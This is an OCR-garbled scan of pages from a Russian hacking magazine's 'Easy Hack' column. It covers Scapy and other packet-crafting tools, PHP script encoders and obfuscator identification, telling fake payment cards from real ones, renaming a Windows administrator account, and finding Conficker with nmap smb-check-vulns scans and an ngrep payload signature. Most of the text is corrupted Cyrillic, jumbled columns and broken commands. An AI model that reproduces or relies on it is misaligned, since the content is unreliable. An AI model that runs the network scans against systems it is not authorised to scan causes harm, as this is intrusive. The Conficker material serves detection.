lt1HJt<eKn1pOB8Tb MOAlt11Jl.1~\IlPO
B3HHblf1l.1 co6CTseHHopyLlHO C03,q8HHbli1 naKeT - ace nen::.o!
C ee
nOMOll.\blO MO;:+<HO Bblr:OJlH51Tb LJ,eJ1bl~
3aAt:l4, BpO,lle
CKaHliIpOBaHliI~,
Io1HeppaCTpYICTYPbl CeT!<1.
p>lA KJl8CCVI'-leCKI1X
lracorute, aTaK
B O,llHOM
lelheral. pOf
1-1
T.A-
8 TO >Ke caMoe
8peM~
•;
~
File
I
D~acledHom(71) Received Flarne;ISl55) I Fies{2&4) 11rM9M(179) I Cr~ I c.w.le><l] ~Logl Repat'
CKoe 3a,llaHl1e, KOTOpoe HIiIKorAa He CMQ>KeT C,IleJlaTb y>Ke C03
ffi
!>
&J
CIiI, '"IT06b1, HanpliIMep. CreHepl1
ff)- ().
20744 1:12.1:1~ [",.,""",,(~I(1X,r.("'1 CQ~'.I 2Oil.97.160.13 [in~tinsec .... e.or~J \l"-o:]
s.i} 208.113.213.2-43 [~uips.comJ (Ln..:.] IF' 20S 113,213.243 .- t'" MAC: croo 8tlA36f7D 10·Link)
eaHlileM Scapy! Y nporpaMMbl HeT rpaeplillleCKoro lIIHTepepei1ca. a IiIHTepaKTIiIBHQCTb AQCTliIrSeTC~ 3a (4eT v,HTepnpeTaTopa Python. iii
205.217.15359 [sced'tU,or9) (woo_)
ijl (). 2(l8.100.1.161Iwhos.~UI'](Lir'u<)
posaTb HenpaBl.·l!lbHbI~ naKeT 11 CAeflaTb epa3311Hr K<lKorO-TO ,QeMOHa, AOCTaT04HO HaKIiI,llaTb napy CTp04eK KO,lla (liIcnOflbJO
l.Jyrb OCBOIiIWbCl'I,
-D
H~ il90S~$.com
os: Lrox 2A-xx (33.33 tJ Lirox Fedor.!l Core 1 f33.33 4:) Man,hke 9.2 (li'lux 2Axx) (33.33 Xl
I!l
802.11, COBMeLlJ,aTb pa3J1li1',Hble nOAXOAbl8 STaKax !cKS>KeM, ARP cache poisoning liI VLAN hoppingllil T.A. Pa3pa6OT4li1KIiI
IB
rJ
C<lM'A HacralilBaKlT HS TOM, 4T05bl B03MO>t<HOCTliI Scapy l-1Cn011b
S
21
30Bam1Cb B Apyrlilx npOeKTax. nOAKnKl41i1B ee KaK MO.L\ynb, 11erKO
."1. ......... C1C
Kl-1, nOlilCK3 yl'l3E!l-1MOCTeYl. Wi-Fi I-1H>KeKlllil>1, aBTOMaTliI'-feCKQro BbinOflHeHliIl'I cneUIiIQ>1-14eCI<V,X 3a,lla4
iii
J
TTL: 53 (listMCe: 11) Open rep POIlt". 80 m Q Sent 114 packds [126091 Bjilesl. 1_80~cle~Ie:<1I20711 01114 741 8J";~) I!l (:I R ~ 87 P.!Idd; [10 403 Byte:;.l. 0.00 %cle.artexl (0 01 0 B}'les)
Te6e Y.lKe HI14ero He 6Y,lleT CTOI-1Tb C03,llaTb
HeKOppeKTHble naKeTbl, I1H>KeKT\J1pOSaTb HY)(Hble eppei1Mbl
c03,o,aTb ytlill1l1Ty Ails:. pa31l1-14HOro pOAa liIcCn€AOSClHliI" JlOKCln
..d.QJ2'J
Heb
Tools
IWinPC/lP: SiS NICSISNiC{M1CIosd!.'sPi!lCkd Schediefl (BlJB~n-EC38-4$A-ro:.F.443D1~BD6:::J ~ ~
,l],aHHOe Apyrlo1M pa3.os60TYIiIKOM cpeACTBO. BMeCTO TOro 4T06bl
mpy CTpOK Hil
POF'BepCIiI116YAeTHa ,o,liICKe
~naKOHe Mbl nOf1y"seM 3sMeHy
Scapy n03aOJll'leT BblnOJIHIiITb JlIo60e, ,Qa>Ke caMoe Cnel.\liI~liI'·le
nlilC8Tb uel1YIO
111S/060/hspi
npOCTASlIolH>KEKllIolSl nAKETOB CnOMOlllblO NEMESIS
lt1 onpeAelleHliI~
TaKl-1X nonYl1RpHblX yrlo1f1Io1T, KSK: hping, nmap, arpspoof, arp sk. arping. tcpdump,
ru/magClline/xCi
If1CCllTli'lg seuiol'll: 3 OlAgoingses$ions:D Host Oelab
Web SeIVe1 B¥IlCI 1 ; TCP 00: ApocheI2.o.5-4 flIr01) PHP/H 7 nxxCsslI2.o.54 OpenSSlIO.S.7e fl\OdJ.!IS ....
o.".,..•,..
_~_,
.. '- ..,
NETWORK MINER, KPOME CHloIl1llolHrAAAHHblX, nOnblTAETCSl PA3BEAATb KAK MO>KHO 6011bWE OllOKAllKE
T.A
PACKETH PACKETH.SOURCEFORGE.NET 'NIX, ECTb nOPT nOA WINDOWS
PEAAKTIoIPOBAHIoIE nOllEIll nAKETAC nOMOlllblO GUI IoIHTEPl1lEIllCAPACKETH
V1HTepeCHa" pa3pa6oTKa. n03BOfll'llOl1.\dl'l. c OAHOYI CTOpOHbl, reHepl1pOBaTb 11106oi1 ethernet naKeT. 1-1. C .QpyroVi. ornpas MlTb nocne,ll,oB3Tef1bHOCTliI naKelOB C l.\eJlblO npOeepKI1 nponYCKHOv. cnoco5HoCTH, 8 OT11li14li1e OT APyrl-1x nOAo6HblX
U"""UU""UUUfUOO4~~
OO)~
TynJ. packelh liIMeeT rpa¢liI4eCKI1>1 I-1HTep4Je~c. n03BOn5ll'l
C03.QaBaTb naKeTbl B M2KCHMaJ1bHO npOCTOYl epopMe . .Q.anbwe -
6011bwe. Oco6eHHo npopa6oTaHo COJ,o,dHlile
iii
Il7740 0071 II C7c5 S1 ..
~:::;:~:~ ~~~~ ~::~::
~r"Ol
01
::::::::::
ornpa8Ka
nocJle,llOaaTenbHOCTe>1 naKeTOB. Tbl MO>KeWb yCTdHd8f1l-18aTb 3aAep>KKliI Me>K,llY ompaBKOV:, enaTb naKeTbl C MaKCliIM311b MOle & IP ," ' ....doll .. UfC\I aodr...
HOiol cKopoeTblO, 4T06bl npoBeplilTb rrponycKHYIO cnoc06 HoeTb Y4acTKd cem lara, BOT CIO,D,a-To l1 6YAYT AAOCliITbllil, 4TO ew,e I-1HTepeCHee - AIo1HaMlo1yeCKIiI 1iI3MeHflTb napa MeT
"Ab ••IoA! delay
I
~
....J ,
R.lalive delay l¥tXOlIlel[ro-
9yII Y
'*" rn--
A<ton R#I<!tIm
....JI
Acton l'lUNl....l ....J (
Rang"r Range
p
pbl B naKeTax [HanpIiIMep. IP 1o1111i1 MAC-aApecl.JC
XAKEP OS/ll5/ 0'1
~
039
,
II , I,
I'
»
E:3 ..... 0M
,
.0000000000000000000000000000 ~,
·-t;-IHack E~"Y:;-
E"y
Easy
Hack
Eas Hack l1eOHlIIA "ROIO. CTPOli!KOB
AH,OPElii .. SKVOb KOMAPOB
MORa
J ROID@MAIL.RU/
I KOMAROV@lTDEFENCE.RUJ
I MORO@INBOX.RUI
M~~~~I~lt1lE~~~ETbl
NQ} )
.. E"C0..l!!.1in~le f~.e.
.. Encode MUlliple File_
PEWEHHE, Kat< O:pblTb rOA PHP-CKPl1nTOB oTxocTepa 11m" OT HacTo(.1'H18b1X a,o,Ml-1HIKTparopoB
cepeepa? npaSVlJlbHO - 38wlo1<ppoe3Tb :1.
C==-
Encode Sin9le PHP File
WI 0: "!!3AWMCI»POBATb KOA PHP-CKPMnTA
He BOT4eM? O.QHC3H811Hblfl OTBer HaHn"
HeraK-TO npacTo, 1160 pa3Hoo6pa3Hblx npo.ayKToB Ha ceroAHSlwHIo1H AeHb 60llee "eM AOCTaTO'lHO. DOllbWVfHCTBO I1cnOJlb3YlOT B cBoei1 pa60re O.Ql'IH3KOBbJe 111160
Sourte file:
.::...!...<W!'PJojeds __
(h.'oo m. to
.. lO\lin SettillgS
DeCOder Filename
~.~~g~t1!!!ns .. AbolI1 CJ.yptl
---I
Oti"op_
I
.nc.~.~
I
cryplZl.php
(fll."..... ""IUd..... ',)
OulPUl Zip
I
I.Zip
.:JlOllollt]
CXO>KlII€ aJ1rOpI11MbI. 3TO (80,0,111 Ha HeT BceyCI1Jll<l5l no COKpbHl11O KO,Aa. ~3 Halil6o
nee nonyflS1pHblX KplilmepOB HCXO/.\Horo PHP-KCAa OTMen1M cne.aylOll.ll1e: 1. Free PHP Encoder -
'.WN!
freeDhpencQder.com
y,o,o6Hbli16ecnn8THblH
OHJlaHH-CepBl.1C no KOAI1POB3Hl.11O PHP-CKpl.1nTOB. 06nClp,aeTCTaTI-l4eCKJ>1M aflro
~
PVlTMOM wHq,poeaHflSl; epYHKll\111 06$ycK3Topa He VlMeeT.
2. PHP Locklt!
W{fW
phplockilcom
nflilTHblH np0j:\yKTc HaflH411eM Ka"leCTSeH
f$'1!llYeM KOAPb.~KP..\1nTa
HOro o6¢ycKaTopa. n03BOJlSleTycT3 HaS!l\llSaTb TplIlaJlbHblH CpOK pa60Tbi CKpl1nTOB
1Il nplllBSBKy KAOMeHaM/IP-a,ll,pecaM.
3.PHPCipher - W'A"N phpciphcrcom
¢YHKllllloHanbHblH oHnaHH-cepsVlc, npaB
S.>KMeM 6aTOH l-1 nOJlY'laeMJ1l1HK Ha apXI1B CWH¢pOBaHHblM CKpl1nToM.
Ao, nn3THblH. np~l H3JlV14111-1 JlI111eH3101I1TbI 6e3 np06JleM CMO}KeWbCTaBI-1Tb KOnl-1paH
6. PacnaKoBbiBaeM apXI1B, BHyrpl-1 BI1,1l,flM ABa ¢la~l1a:
Tbl Ha wloI4!poBClHHble CKpl1nTbl. Orop4aeT JlIo1WbOTCyTCTBl1e ¢YHKllllllll o64!ycK3Topa.
• HaW_CKplo1nT.php:
4. CNCrypto -W'l"....... cr)·sollwarecorn - loICKIlIO"lI,nellbHO I<OMMeplleCKI1H npoAYKT.
• p,eKOp,ep...AJl51_HaWerO_CKpv1f1Ta php.
OTnl-l\laeTC51 K3yeCTSeHHoii 06¢ycK311l1eH Kop,a.
7. OTKpblsaeM Haw_CKpl1nT.php 11 npOBep5leM Kpl1nTOaBHHblI1KOA'
5.CodeLock ~ wwwcodelock Lo.nl
nony.nSlpH3S1 yrHna AnSI KOAVlPOB3HlIlSl PHP-
CKplilnTOB. q:.YHKl.ll-1l1l o64!ycKallllllll HeT.
<? !*Scripc encoc.ed us:'ng Zore;.: PllP CrYfjtZ '",1;:h deem
6. TrueBug PHPQbfuscator & Encoder - w"iWlru~bugcom - npOTeKTOp,
",CCO'Hlt
-l1t::p:llzoraz.infc",.
06Jl3A31OUJ,lilH co6CTBeHHbiM aflrOpl1TMOM C}KaniS!. TaK}Ke npl1cyrcTByeT¢,yHK41111
$cryptz
= 1;
061j1yCK31111f111 OnH1MliI3all1111101CXOAHoro PHP-KoAa. OCHOBHOi1 MlilHycyrl-1nbl
basename(_FILE_); $cryptz_dpath = dirname(_
CTaTl1'-1eCKI-1~
3J1rOpI-1TM AeKOAltIpOBaHV1A CKpl-1nrOB.
7, Zorex PHP CryptZ -
~~
$cryptz_zlib
= 1;
$cryptz_fname =
PILE_); i [ (! file_exists ("Scryptz_dpaLh/cryptzl.
- nflaTHbli1 oHflaHH-CepSl1c- .o.eMo-SepCI151
np~cyrcTByeT, ¢YHKllI-1Vl o6¢ycKaTOpa HeT.
Rnepell\1CJlI1J1 JlI-1WbHeCKOJlbKO nonyJl5lpHblx npoeKToB, Ha caMOM~eJle. no,o,o6HbiX
php")) {die("&nbsp;<br>Script decoder not found
Fail to execute script! <br>&nbsPi <br><hr size=' >< font size=2>script encode using <a href='http://
npoAYKTOB HBMHoro 60JlbWe, 11 BViX nOI-1CKe Te6e nOMO>KeTti'b".li.'J:~:1.
zorex.info'>Zorex PH? CryptZ</a></font>"); }
Tenepb paCCMOTpl1M nOp51AoK,o,ei1cTBl1i1 no COKpblTlo11O COAep)tOiMoro PHP-cKplolnra
include(M$cryptz_dpath/cryptzl.pnp"); return;
npl-1 nOMOLUI1 OHJlai1H-cepBlIlCaWWW.lOflt.l..!L.LI.Q:
AYAS f /7 YTVr 68+ Bz E, IbLQd +1 Pj Ke2 ~Ea +:O'r'SIby {n.Eqq5 j krz1>lQQ'l'e
1. 6epeM (l<pl1nT, 1<0,0, KOTOpOro HaM Heo6xo,ll,flMO 3aKpvlnTOSaTb. Hanpl1Mep:
,( + 9 j rvxc1 C0 6t,hMYGXFQI7 8a 9\.1 /NzZAcTgY2 +AzQ4 fpa '7 gOK2$ 1 0 iM
?>
vGF2z15VBe63vSXqlOU6kaF4cJXeR17h8+NZ+!2MXpOjDiCJ2fBXqa <?
PJIraKyFOa4jww2dg[R/v08j71kMOM9q8wKZLeVl~J7ukus4uNRJCr
echo { 'Crypt Me');
NTeVghOHvPnY~J-Sy]jS4ixlkpcKEur~6C/8390JzPBua~yhh~r8q6
974 12T'/.,'1·1G8eSaJ2 EYe +d'! oNaeDyCCQl ig-l'111xaQPHo7z'1'/ zsl'iOml kw
?>
MdvDUP. r 5 e60 j tLblel,l+mehSvgMcof08KLnN/.h2 S 62 hI zpkUc7 eho2
r 3nYFAqa 5 6KtbPUEn-l6aY'" 9YCLDP+ 9cTKS l1dRtOTgKP'~.lKkECCCzQt
2. 3aXOAI1M Ha cai1T OHJla~H-CepSl1ca W'NW.lorex Info. 3. Bbl6l'1paeM BMeHIO cepBl-1ca "Zorex PHP CryplZ» 11 KJlI1KaeM no CCblnKe.
lclZ",,rvDo1 z + 7ytl'.cm6 t.xcZro:..GIDl ~ e;-,'+pLSVEMrseHCcp 1pN! aS6ZJ
4.3anOJlHl1eM cfleAYIOLl.lHe nOJ1A:
a(;ml Z Pt n 1 i
Source File Output Zip
tP~i1!1<"1 lleKOllepd
1,1 <:tpXl18 C pe3ym.,'l'c..,Cm1
Limi t to Host II (); 'pal J~'-JeH~e no XOCTy
Limit to IP
~
040
KaK BI-1AI1LUb, Bce npl1cToiiHO
; I HaUl Clxn-CKpvInT'
Decoder Filename I.' 1i<l:)BilH:1€
I/
OrpaH!1.Y:€IH~e
no TP
uJ '1 P P9Ghy.lCLy7+g~·/9 f 1 kzYo==
(CKD~mT .. llPKollep)
8.HYI1 B3aBepweHI1e - TeCTlilpyeM AeKo,a,ep.
51 nplllBefl Bnpl1Mep .n'lwb OAI1H 1013 MHOfO'l'lClleJ1HbIX O"lflav,H-cepBI1COS no LUWi!
pOBaHl11O Kop,a BPHP-CKpVlnTax, TBOH 8b16op 3aSI1CI-1TTOllbKO OT co6CTBeHHblx
npe,!\nO'lTeHI-1HI1 Tpe60BaHI-1~ KJll ropHTMY.
»
o
-
.MlnHlller
- .. . D
3AAA~A,
OnPEAEnHTb 06C1JYCKATOP. KOTOPblM 3AWHClJPOBAH PHP·CKPHnT PEWEHHE, B nCCJ1eAHee epeM9 nOIl3l.1JlOCbOrpOMHOe 4lolCJlO pa3/h1YHblX
11 npOTeKTOp08 PHP-KO,n,a.
o64>yo:arOpOB
Icmd.php
C K3~b'tA pa30M BCeTpYJlHee nOHSlTb. 4eM ltIMeHHO
Free PHP Encoder www.freephpencoder.com
JaKpY1nTOSaH CKpefnT: 33yaCrYKl BOCCTaHOBI.Hb COpell- npow,e. 4eM Onpe,llenl1Tb TI.111 06¢YCK3TOpa. n03T:JHY M~ BOcnOflb3yeMcSl CneL.;l.13JlbHOH
eM peL:s PHPiD,
l1I\eaJlbHO
,QJ1Sl onpeAeneHl.1ll
ynlJlOH nOAHa3B3HH
nOAxoPJlw,eH no,(l H3WI1l..1enltl npora npe,O,H33H3'leHa
npOTenopOB '.1
06¢YCK3TOPOB
PHP-KOA3 l-1yMeeT paCnOJH3e3Tb
60nee 20 pa3w14HblX 3nrOpvlTMOB, cpeJJ,\1 :<OTOP~X:
B:: ..... OM
I About II
PHPiD Engine 1126
Exit
On~eAell5'leM Tl'ln o6~ycKaTopa/npoTeKTopa phQ-KotJ,a
Onpe.nenReMble npOTeKTopbl:
TrueBug PHPEr,coder 1.0.2 (incl. GZIP) , 1.0.311.0.4
PaCCMOTplilM nOAPo5HblH anroplilTM AeHCTSI1H All51 peweHVI" nocraoflcHIIOH3<JAa
NuSphere NuCoder
"iii:
Zend Encoder I Zene SafeGutlrd Suite
1.Cnl-1saeM yn-illy PCls PHPiO CHawero ABA.
ByteRun protector for PHP
2. 3anycKaeM exe'Wl-ntK phpld.exe
SourceCop (incl. proLection module)
4. Bbl61-1paeM 3aKpt1nTOB3HHbIH CKplo1nT, Hanpl-1Mep
CodeLock (ir.cl. protection module) <?php
SourceGuardian for PHP PHPCipher
define ("_ENCRYPTED_CODE_". "eG1mJUlwJUE1JTk4UCUyRnQINO
phpSHIELD CNCrypto
UIMUM4dEsIQkUlQOZX,JUM4JTEx,7UlzTg==-) ;
PHTML Encoder
def ine ( "_ENCRYPTOR_KEY_ ", "cfcd208495d565ef66e7dff9f98
ionCube HlP Encoder
764da");
PHP LockIt! 1.B, 2.0 (incl. GZIP)
Cbfusc (Basic/Normal,
Sho~Dbfuscate)
define
("~DECODER_PATH~",
"decoder. php"); //You can
Zorex PHP CryptZ (incl. protection module)
change this path to point to the decoder file in another
gencoder
location.
D\olebSncoder
if(fil€ _ € x ist.s(_DECODER_PATH_}}
Free P:-iP Encoder
PATH_} ;}
{include_once (_DECODER_
PHP Comp8ct
TrueBug PHP Obfuscator 1.1
else {echo»Oecoder file Cloes not exist" ;) 1/ Rela t i ve or
PHPCoder / eAccelerat.or
absolute path to the decoder file
OnpeDen~eMHe o5~ycKaTop~;
Semantic Desi~ns Obfuscator PP.:P Defer.de2:" PH? Locklt!
(Obfuscation model
5. B OKHe Ty.nJbl BVlAI1M pe3YllbTaT: Free PHP Encoder f..QJll.
-VN/W.W\\RA'
Ireephpencoder.
CooTBeTCTseHHo, 3atJ,aya BblnonHeHa: npOTeKTOpycnewHO onpeAeIleH, a co
peLl Mocro CKpVlnr8 8occTaHoB~wbC3H:1.
Raizlabs PHP Obfuscator
P.S. nOMHVl. "ITO pa3Mep aHaJ1V13Vlpyel-lOro YTlo1no~ CKpi1nTa He AOIlxeH npesblwaTb
POBS - PHP Obfuscator
1 MeTp3.I-1H34e ¢YHKLlVlOHanbHOCTb He rap3HTl1pyeTC~.
W"'·1i'·ll OTnH~HTb nOAAEnbHblE KAPTO~KHVISA/MASTERCARO
OTOPHrHHAllbHblX
PEWEHHE,
nnaTe)f(Hble TepMI-1Hanbl1-1 6aHKoMaTl:.1 Cel.14<lC He CTom pa3se "TO S XJ1e6HblX
llapbKax. s:I paccKaxy. KaK OT11l-1'-ll-1TblleeylO KpeAl-1TKy OT opVlrVlHana. A.n5'l :no
ro 5'l COCTaSI'111 He6oflbW0l.1 cnl-1COK xapaKTepHo,lX IlpIi13HaKOB. PyKOBOACTBy
5'lCb l-1M, Tbl CMO)KeWb 5e3 TpYAa onpeAemtTb nOA,ll,eJll<y:
1. V13y"l01 MIo1Kpone'-laTb BOKpyr Iloron.,na VISA, ECJll-1 OHa npaKTIi14eCKI1 He "li\ TaeTC5'l
\1
CTl-1paeTC5'l CKapTOl.lKl-1 - 6YAbyBepeH, nepeAT06o~fJeSaK'
2. C.ne,iJ,yKlw,a5'l Ba)f(Haj:l tJ,eTam. - r0110rpaMMa. <DOH 0plo1rI-1HaJ1bH0l.1 r0J10rpaMMbl 4III CT. JepKalleH, a tJ,eTallI-11-1306pa)f(eHliI5'l nerKO pa3m-l4I'1MbI. OCHOBHOCi nplt13HaK nOMeJ1bHbiX rOllorpaMM - OTcyTCTBlo1e 06beMa. KpOMe TOro, «J1esa,,» r0J10rpaMMa llerKO OTCJ13VlBaeTC5'lIKaK npasl-1J1o. )TO npocTaSl H3K.'lel.1Ka], Hacro"uwlO rOllorpaMMy Hea03MO)f(HO CKOBblpHyrb HQrleM 1'1111'1 cOApaTb c Kpe~V,TKV1I-1HbIM cnoco6oM,
Ha Opl.-trl.-tHallbHOiill1eHTe B 6011bWI1HCTSe cnY4aes npV1cyrCTByeT ~OH B BI-1~e
3. nOCt>10TpVl Hi3 J1eH1)' AJHl notJ,nl'lcl'I Co6paTHol1 CTOpOHbl KapTo4KIo1.
HaAnI1Cl.-t «MasterCard» 11fH1 «Visa}> Is JaBl.-tCI1MOCTl'I OTTV1na KapTbil. KpoMe
XAKEP
os
/125/ 09
~
041
...":.. E::AOM "
'1
Toro, H3 IleHT€ gOJ1)l<eH pacnOJ1araTbC~ HOMep KapTbilII KOp, 6e30naCHOCTlt1
7. 8 y.nbTpa~~OJleTOBOM cseTe H3 nOMeJlbHblX KapTOYKaX MoryrorcyrCTSO
saTb cne~VlanbHbre l-1306pa)l(eHliI~ [Hanp\.o1Mep, J1eTI<lL\\1~ rony6b Ha Kaprax
4. V1Hor,Q3 H3 nOA,O,eJ1Kax \1cnOJlbJyeTcfI naMI1H3T, HaHeceHHblC1 C o6elilx CTOpOH,-
VISA1. BepO~THee acero, KapTVlHKa ll1il60 oYtJ,er pa3MblTa, nl100 ee He 5y,.o.eT
:na npo3pa4H3f1 n1leHK3 JlerKO OTCJlal-18aerCfl no KpaflM, 0(0661'11'10
BOBce.
eCJ1i11 ei1 HeMHoro nOM04b.
5. nepsble yeTblpe LJ,lII41Pbl HOMep<l KapTbl [BIN), npop,y6J1l-1POS3HHble KOHT paCTHoi1 KpaCKOI1, MOryl cn'paTbol C nOMeJ1bHolii KapT04KI1.
8.AaHHbJe, H3HeceHHbie Ha KapTo4Ky, 055:t3aTellbHO ,.o.OJl)KHbl COBna,o.aTb
Ha oplIIrlllHalle
C,lJ,3HHbIMliI, HaHecemlblMIiI Ha
MarH~THO~
nonoee!
BIN cTepeTb HeS03MO;>Kl-lO!
XOTfi KapT04KIiI Me)l("QYHapoAHbIX nnaTe)l(HbiX Cl'1CTeM peryflSipHo MO,!J,epHIo1311
6. CTOIH 06paTltITb BHI1M3HI1e Ha 01M80J1b1 «V» 101 «Me» [Ha COOTBen:TBytO~lAX
PYlOTCfl. Cl1e,IJ,yl'l BblweOn1t1C3HHbIM /IIHCTpyKU,I-1SlM. Tbi MO)l(eWb06e30naCliITb
Tlllnax
Kaprl.
ce6R 8 60JlbWliIHCTse CflY4aes,
01'1111 MoryroTJllt14aTbC51 aT CT3HAapTHbiX nOTOIlll.\lt1He!Wl-1plllH€ .
NQ
pecy «H KEY_LOCAL_MAC HINE\SO FTWARE\M Icroso It\ Wi ndows
NT\e urrentVe rSI 0n\Profile List\ < cu rrent_pro fi le_id >\Prof ile Imag ePath» Cnoc
JleAYKlll-\€11 nepe3arpY3KoH. 3,o,ecb <current_profilejd > onpe..QeJ1>1eTCI< no K.~lO'lY
ProfilelmagePath. YKa3b1s3 lOUJ,eMy H3 pacnOJl:J>KeH\1(: na nKI1 %SYSTEM DRIVE%\
Documents and Settings\<ClapOe_\1MSl_nOJlb30 B3Ten51>.
3AAA~A; nEPEHMEHOBATb CHCTEMHYIO Y~ETHYIO 3AnHCb AAMH
4. YAaJleHlile cTapo~ nanK\1 npO~\1M. 50JlbWe OHa He np\1roA\.o1TC51.
HHCTPATOPA BWINXP/2003 C nEPEMEUlEHHEM npOCl>Hllll PEWEHHE,
cel1yac CI1AIil:Wb, HeJlb3\<. HY'KHO 33XOtJ,VITb nO,D,11106oi1 APyroiil '113 rpynnbl «A.!J.WIIHI1CT
T bl, H3aepH51Ka, He p33 CTanXlilBanC51 c np06JleMO~ Han i11410151 KHP\o\J1Jl 1114eCKliIX
paTopbl» \1 Kon\1pOeaTbOTTyAa.
CIilMBOJlOB 8 nyrl1 K npoq>l1lllO y<.<eTHoi13anillciII [BcnOMHlII KP\1BO
pa60TalOUJ,IiIH melasploit framewo rk Cy'leTHOH 3a n\.1CblO «A,[lMIiI HIiICTP3TOp»l, HOpMaJlbHO nepeVlt.4eHOBaTb y'leTHylO 3an IiICb y Te6R
He nonY'laJlOCb - np\l1Xo,o,IiIJlOCb KonlilpOBaTb Hy>KHble 6l.16JlIiIOTeKIiI 11
BpylJHylO npOnl-1CblBaTb K HIiIM nyTIiI
HanOClle,o,OK - OAHO 3aMe43Hl1e. CKOnl1pOSaTb npo¢llilllb y"eTKI1, nOA KOTOPOi1 TbI
-_
...
-.".~
.....-.. ::J"" .::.
ea'ren5l >, npeAJIaralO Te6e CJleMlOl.1.(1iI Haflr0plilTM'
~
.::.- ..
:::.-
.__ __
--
,....--_._..
... ,,~r-nol
-(''''' -~
-, "..,
.." , 0 _ ,,::1_
.....
~ ~_
....
---- -., .' .. --, ~
.~
~ ~ ",:.
..
_101
~~
~P ...
C!.cl... 'Ii..:!"""'"
1. Py'lHOe nepeltlMeHOB3Hlile ca"IOH y'leTHOH 3anlilCIiI. 3tJ,eCb, JJ.yMalO, Bee ilOH5lTHO. BbJnOnfHleTCI'Illepe3 "naHeJlb ynpaBI1€Hl'1I'1-7 Y"eTHble 3anlilCIiI -7 NlMIil:HIiICTparop 7 nepeIilMeHOeaTb». 2. Konlo1pOBaHIiI€ npo¢lIo1I1Si B HOSylO nanK)'. npo<jlVlnb eMee-
"..,
".",
0 .......,.......
__
~CJ
u ..........,
~t:l_ .u~
Te CcO,[lep>KIo1MblM nanKliI %SYSTEMORIVE%\Oocumentsand
.::u-, .:J
SeUings\<CTapoe_Io1MH_nOnbJOB3TeflSi> nepeMel..LlaeTCI'I TaK: "naHeflb
lt
... "
0 .. '···..-uor.;....,·• .,.. ·(,J.·,·.... .~
ynpaeneHl.1H-7 CBoi1cTBa CIiICTeMbl-7 ,QononHI.nenbHo -7 npO¢ll'lnlil
"'>.>-,._,,_,_ i
.1
.::.~ .::. .......
nOJlb30BareneH-7napaMeTpbl». BbI.Qenflewb HY*Hbli1 npo¢llilllb,
.. .::1_
>KMeWb«KonlilpOBaTb»
",::""..-.. 11.;1'-
~~.
Bbl5>1paewb. KyAa I%SYSTEMDRIVE%\
11_
'_n,.....
".:J ''''
Documents and Settings\< H060e \1M51 nOJlb30BaTeIlSi> I. npOq,\1Jlb
''::'u
J
~ ,::",
BMeeTe co BceM COAep)K\1MblM nanK>'! cKonlilpyeTcl'I no HoeOMynyr>1. JlO)l(eHliIlO npo~l1n~. nyrb npOnJ.o1CblBaercSi no a,!\
--
_
0< t:I_O<I;
%SYSTEM DRIVE%\Documenls and Seltings\<cTapoe_IiIMI'I_~ nOnbJO
::;. nponlilCblSaHI1€ nyTl1 e peeCTpe KHOBOMy pacno
..... L......=
~5=-=':'""' D D'_
It,,, ~--=:::r~ ""'--'"
--,,~-.::,-,.;= $-
,-~
~CJ'_
ECJlIiI Hy>KHO nOIlHoClblO nepelilMeHOBaTbYlJen:y SMeCTe CnanKOH
iii
_ -. -..
gaAae.M.rY.!!> K HOB2t!YJ:l.Po{J)V1nKl
c:a_
w..
:~=-
""'.---..IO<A"""'-
NQ 5
_....\ a n .fl" _ '....
_
~
l·I:'1_'~'_,
An5l KpynHoMacwTa6Hblx ceTe~ l1enOJlb3YH KOMaHAY:
nmap -sC -PN -d -p445 -n -'I'4 --nin-hos;;::group 256 --min
parallelism 64 -~script=smb-check-vulns --script
args=safe=110.0.0.0/8
WIt'S", HEAABHO H3BECTHbiM TPOAHELlCONFICKER (RU. WIKIPEOIA.ORG/WIKI/CONFICKERI3APA3HIl KY~Y MAWHH, H BCE
V13-33 oco6eHHoCTeli1 Y513BliIMOCH1 peKOMeHAyeTC51 H3Tp3BfllllBaTb CK3Hep
OHH 6AJKHbIE. KAK HX BblllBHTb? PEWEHHE,
3anlllCliI «Conficker: Likely CLEAN» J,111" «Conficker' Likely INFECTED».
1. nOAxOA c nOMoUJ,blO NMAP. Bbl51BI1Tb 4epBI'I MO)f(HO Cll;3HliIpOB3H"eM cBoei1
2. nO.qXOA CnOMOUJ,blO nGREP. cDYHKl.\IolOHafl ngrep 04eHb 60r'aT. Hanplil
nOAceTI1. np\1rOAliITC51 cne~lIlaJlbHbli1 eKp\.1nT, Hanlilc3HHbli1 Ha NMAP SE - OH
Mep. n03BOJlfleT e o6beM3x TP3epVlK3 np06e)l(aTbCH nOlilCKOM no payloads
Y)l(e 6bln on~caH BnpeAblAyUJ,\.1X HOMep3X. ,UemeTCSl cneAYKllL\eH KOMaH.ao~:
Ha 139 1iI445 nopTbl TCP. 8 pe3ynbTaTax CKaHlilpOB3HlIl51 Tbi o6Hapy)l(VlWb
[3TO l'1Hct>opMa~I1Si, KOTopaSl xpaH I1TCfl B ceTeBbiX n3KeT3X B Ka4eCTBe AaH HbIXl. Cl1rHarypa Conficker MO)f(eT 6b1Tb H3~AeHa npaKTI14eCKI1
runap -PN -T4 -pl39,445 -0 -v --script=smb-check-vulns
safe=l 192.168.111.0/24,
- MO)l(HO CMeno ee V1cnonb30eaTb'
r.ae script - cPJ1ar, YK33blBalOlL\;1H H3 06pal1.\eHJ,1e KcKpVlmy. KOTOpblH y%.e
ngrep -qd ethO -w single
~-script-args
eCTb 8 nocne~He~ sepCl'1li1 NMAP INmap 4.85BETA71.
pn - OTKl1lOyaeT Domain Name Resolution IDNRI.
80
ecex
coapeMeHHblX apXl'1aax l111lil 5110rax no ;1H¢'OpMa~\10HHO~6e30naCHOCTI1
-$ 900 -x Oxe8fffEffffc25f8d4fl08031c4416681394d5375f538aec69daO 4f85ea4f84c84f84d84fc44f9ccc497365c4c4c42cedc4c4c49426
n - OTKJlKl'laer nposepKY Ha npeAMeT «)t(IIlBOCTliI» XOCTa.
3c4f38923bd3574702c32cdcc4c4c4f'71696964f08a203cSbcea95
OTKfllOyeHlile BbiweHa3B3HHblX onu,V1H 3aMeTHQ nOBblwaeT CKOpOCTb
3bb3c096969592963b£33b24699592514f8ff84E88cfbcc73ff732
nplil CKaH>1pOaaHliIVI.
49d077c795e41fd6c7llcbc404cb7b040~O~c3f6c68644fec4b131
~
042
XAI(EP ~5 {1251 09
»
B::AOM
nOTOMy ,"TO. no 0l..leHKaM MeTpV1K CVSSv2, Conficker iIIMeeT «KpIo1TIo1'-leCKL-1i1»
yposeHb ypoHa (Critical! CVSS Base Score: 10.01. )..:l1111 S~I1Bf1eHVlI1 Hy;:KHQ
